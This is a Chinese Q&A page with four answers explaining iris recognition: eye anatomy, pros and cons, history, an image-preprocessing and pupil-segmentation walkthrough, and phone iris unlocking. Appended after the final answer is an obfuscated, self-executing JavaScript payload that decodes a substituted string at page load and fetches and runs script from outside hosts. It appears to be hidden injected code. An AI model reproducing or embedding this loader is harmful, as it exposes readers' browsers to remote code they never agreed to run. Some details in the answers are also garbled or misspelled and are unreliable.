虹膜识别的原理是什么?

2025-03-11 06:08:11
推荐回答(4个)
回答1:

原理:人的眼睛结构由巩膜、虹膜、瞳孔晶状体、视网膜等部分组成。虹膜是位于黑色瞳孔和白色巩膜之间的圆环状部分,其包含有很多相互交错的斑点、细丝、冠状、条纹、隐窝等的细节特征。

而且虹膜在胎儿发育阶段形成后,在整个生命历程中将是保持不变的。这些特征决定了虹膜特征的唯一性,同时也决定了身份识别的唯一性。因此,可以将眼睛的虹膜特征作为每个人的身份识别对象。


扩展资料

优点:

1、便于用户使用;

2、可能会是最可靠的生物识别技术;

3、不需物理的接触;

4、可靠性高。

快捷方便:拥有本系统,不需要携带任何证件,就能实现门控,可单向亦可双向;既可以被授权控制一扇门,也可以控制开启多扇门;

授权灵活:本系统根据管理的需要,可任意调整用户权限,随时了解用户动态,包括客户身份、操作地点、功能及时间次序等,实现实时智能管理;

缺点:

1、很难将图像获取设备的尺寸小型化;

2、设备造价高,无法大范围推广;

3、镜头可能产生图像畸变而使可靠性降低;

4、两大模块:硬件和软件;

5、一个自动虹膜识别系统包含硬件和软件两大模块:虹膜图像获取装置和虹膜识别算法。分别对应于图像获取和模式匹配这两个基本问题。

参考资料来源:百度百科-虹膜识别技术

回答2:

虹膜解锁的原理是什么

简单问题简单答,下面我们针对虹膜解锁,进行一个简单的拓展,感兴趣的朋友可以继续往下看。

一、虹膜识别的由来与简介

虹膜识别的方法最早由美国的眼科医生Leonard Flom 和 Arin Safir在1987年提出来的。虹膜识别的算法是由剑桥大学John Dargman博士研究出来的。他提出了对虹膜进行编码、比较的数学算法。

虹膜是瞳孔周围的环状颜色组织,它有丰富而各不相同的纹理图案,构成了虹膜识别的基础。虹膜识别技术是通过一种近似红外线的光线对虹膜图案进行扫描成像,并通过图案象素位的异或操作来判定相似程度。虹膜识别过程首先需要把虹膜从眼睛图像中分离出来,再进行特征分析。理论上找到两个完全相同的虹膜的概率是120万分之一。这也是目前已知的所有生物识别技术中最为精确的。

虹膜识别因为设备复杂,扫描距离短(一般要求在7英寸范围以内),以及使用者心理上对健康的担心,而未能在民用市场大量使用。

一个人的虹膜在发育成熟后终生不变,且具有极高的唯一性,因此,是一种安全性(密切量)极高的人体生物特征。虹膜是与视网膜不同的概念,它存在于眼的表面(角膜下部),是瞳孔周围的有色环行薄膜,人眼的颜色就是由虹膜决定的,不受眼球内部疾病的影响。

虹膜读取装置主要是摄像机,只要眼睛正视摄像头就可完成信息读取。它的特点是不需要接触识读设备,但也需人体配合(不能闭眼,侧面对摄像机)才能摄取有用信息,因不便严格规定人的位置,系统的误识率很低,拒识率则较高。

虹膜作为特征的另一优势是不易仿造,但环境条件的限制,在安全防范系统中应用尚不普遍。

二、基于虹膜的人体特征识别方法研究

虹膜识别技术的一般过程

虹膜识别技术的过程一般来说分为:虹膜图像获取、图像预处理、特征提取和特征匹配四个步骤。

虹膜图像获取是指使用特定的数字摄像器材对人的整个眼部进行拍摄,并将拍摄到的图像通过图像采集卡传输到计算机中存储。

图像预处理是指由于拍摄到的眼部图像包括了很多多余的信息,并且在清晰度等方面不能满足要求,需要对其进行包括图像平滑、边缘检测、图像分离等预处理操作。

特征提取是指通过一定的算法从分离出的虹膜图像中提取出独特的特征点,并对其进行编码。

最后,特征匹配是指根据特征编码与数据库中事先存储的虹膜图像特征编码进行比对、验证,从而达到识别的目的。

获取眼部图像

本文的虹膜图像摄取装置如所示,采用的是卓为(SOVIC)SP-313 摄像头。该摄像头采用的是最新CCD效果的CMOS感光芯片,图像分辨率为 35万像素(640×480 无软件插值),内置低照度的辅助光源,能最大限度减少对人眼的刺激,使用时配以人工暗室,使人的眼部图像更清晰、明亮。是本设计采用的摄像头获取到的人眼部图像。

虹膜图像摄取装置

获取到图片数据后,只需要将其按照一定的图片格式写入文件,即可完成需要的眼部图像在计算机中的存储。本文程序中采用的是BMP格式的图像文件,因为BMP图像文件存储的图像数据没有经过压缩,方便以后对图像进行的预处理。

人的眼部图像

眼部图像的预处理

BMP图像文件格式主要有1、4、8、16、24和32位等图像格式。32位BMP图像文件格式表示该图像有232种颜色,图像中的每个像素用32位表示,一般情况下该文件格式没有调色版,32位中的最高8位保留,其余8位表示红色,8位表示绿色,8位表示蓝色。8位BMP图像文件表示该图像有256种颜色。图像中的每个像素用8位表示,并用这8位作为索引在彩色表中查找该像素的颜色,8位BMP图像一般也叫做灰度图像。

在本文获取到的图像是32位的彩色BMP图像。32位的彩色图像存储的图像色彩数据较多,图像文件的尺寸也较大。但是从本文图像识别的要求来看,这些都是不必要的,因此有必要将其转换为8位的灰度图像。

转换公式如下所示。

其中Gray (i, j)为转换后的黑白图像在(i, j)点处的灰度值,由于公式中绿色所占的比重最大,所以转换时可以自接使用G值作为转换后的灰度。转换后的灰度图像如所示。从图像上看与 32 位RGB 图像没有大的不同,但是图像文件的尺寸从1.17Mb缩小到了301Kb。

人眼部图像的灰度图像

将获取到的眼部图像转换为灰度图像之后,还需要对灰度图像进行去噪声处理。本文采用的是空域法中的加权均值滤波,它是用一个有奇数点的滑动窗口在图像上滑动,将窗口中心点对应的图像像素点的灰度值用窗口内的各个点的灰度值的平均值代替,如果滑动窗口规定了在取均值过程中窗口各个像素点所占的权重,也就是各个像素点的系数。

提取虹膜图像

此过程需要读取眼部图像的数据,检测虹膜图像的内外边缘,提取内圆圆心坐标及短半径,再求出虹膜长半径,建立极坐标系,分离虹膜图像,最后进行特征提取。

和眼睛的其他部分相比,瞳孔的灰度值要小得多,也就是颜色要暗得多,而且在灰度级上有一个明显的突变,也就是说在瞳孔的灰度级要比其他部分的灰度级“黑得多”。因此,可以充分利用这个特性,对图 2进行直方图分析,结果如图 4所示。

灰度直方图

对计算结果可以得出,图像灰度值从 62 开始,且图中存在若干个峰值点。我们已知瞳孔的颜色最暗,因此可以判定第一个波峰为瞳孔的灰度分布。具体观察第一个峰值,其基本呈正弦函数状分布,以72为波峰(值:884),左侧62(值:0)为波谷,1/4 周期为10。据此,我们确定右侧的波谷为 82。根据分析结果,对图 4进行二值化,阈值为 82,可以求出虹膜的长半径,如所示。

虹膜长半径

三、手机虹膜识别

手机应用虹膜解锁是否实用

既然前面网友问到了是否靠谱的问题,那么我们就接着这个问题来延伸着谈一谈,不考虑技术问题,如果虹膜解锁能够克服环境的影响,那么将其应用在手机中还是比较实用的。

如果可以实现百分百的识别,从生物特性来说,虹膜解锁,要比指纹扫描更加安全,理论上来说,只有DNA才能超过它。在人体生物特征识别领域,认假率是十分重要的指标,它的数值越低,就代表识别越精确,也就越能减少出错的可能性。虹膜识别的认假率为1/1500000,而TouchID的认假率为1/50000。而从唯一性来说,当人到两岁以后,人类眼睛的虹膜就几乎不会再发生变化,所以将虹膜作为“密码”有着更好的“长期安全性”。

能否取代指纹识别

既然虹膜解锁认假率如此之高,看起来如此安全,那么可能就会有很多朋友提问了,虹膜解锁究竟能否取代指纹识别呢?其实这是一个开放性的问题,毕竟目前在手机领域,指纹识别都还没有真正的普及,对于识别率还没有真正达标的虹膜解锁,我们更不好去为它的未来下定论。

回答3:

原理:人的眼睛结构由巩膜、虹膜、瞳孔晶状体、视网膜等部分组成。虹膜是位于黑色瞳孔和白色巩膜之间的圆环状部分,其包含有很多相互交错的斑点、细丝、冠状、条纹、隐窝等的细节特征。
而且虹膜在胎儿发育阶段形成后,在整个生命历程中将是保持不变的。这些特征决定了虹膜特征的唯一性,同时也决定了身份识别的唯一性。因此,可以将眼睛的虹膜特征作为每个人的身份识别对象。

回答4:

俗话说,世界上没有一片叶子是相同的,每个人的虹膜也都是独一无二的,世界上绝对找不出第二个与之相同的虹膜。

虹膜包括丰富的像冠、水晶体、细丝、斑点、结构、凹点、射线、皱纹和条纹等结构,有250多个自由度,复杂性非常高。
当你进行虹膜识别时,红外线会对虹膜进行图像扫描,并与数据库内的虹膜图像进行对比,进行特征分析,由此进行身份的确认。
所以,我们先要对虹膜信息进行采集,使用虹膜识别仪对虹膜进行拍摄,提取有用的虹膜图像,随后对图像进行处理,以便于对之后的识别和对比提供有利条件。接下去对虹膜图像通过先进的算法提取特征点,最后当你识别时,用拍摄的虹膜图像与数据库的虹膜图像进行对比,寻找特征点,你的身份就能被识别,大功告成!

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();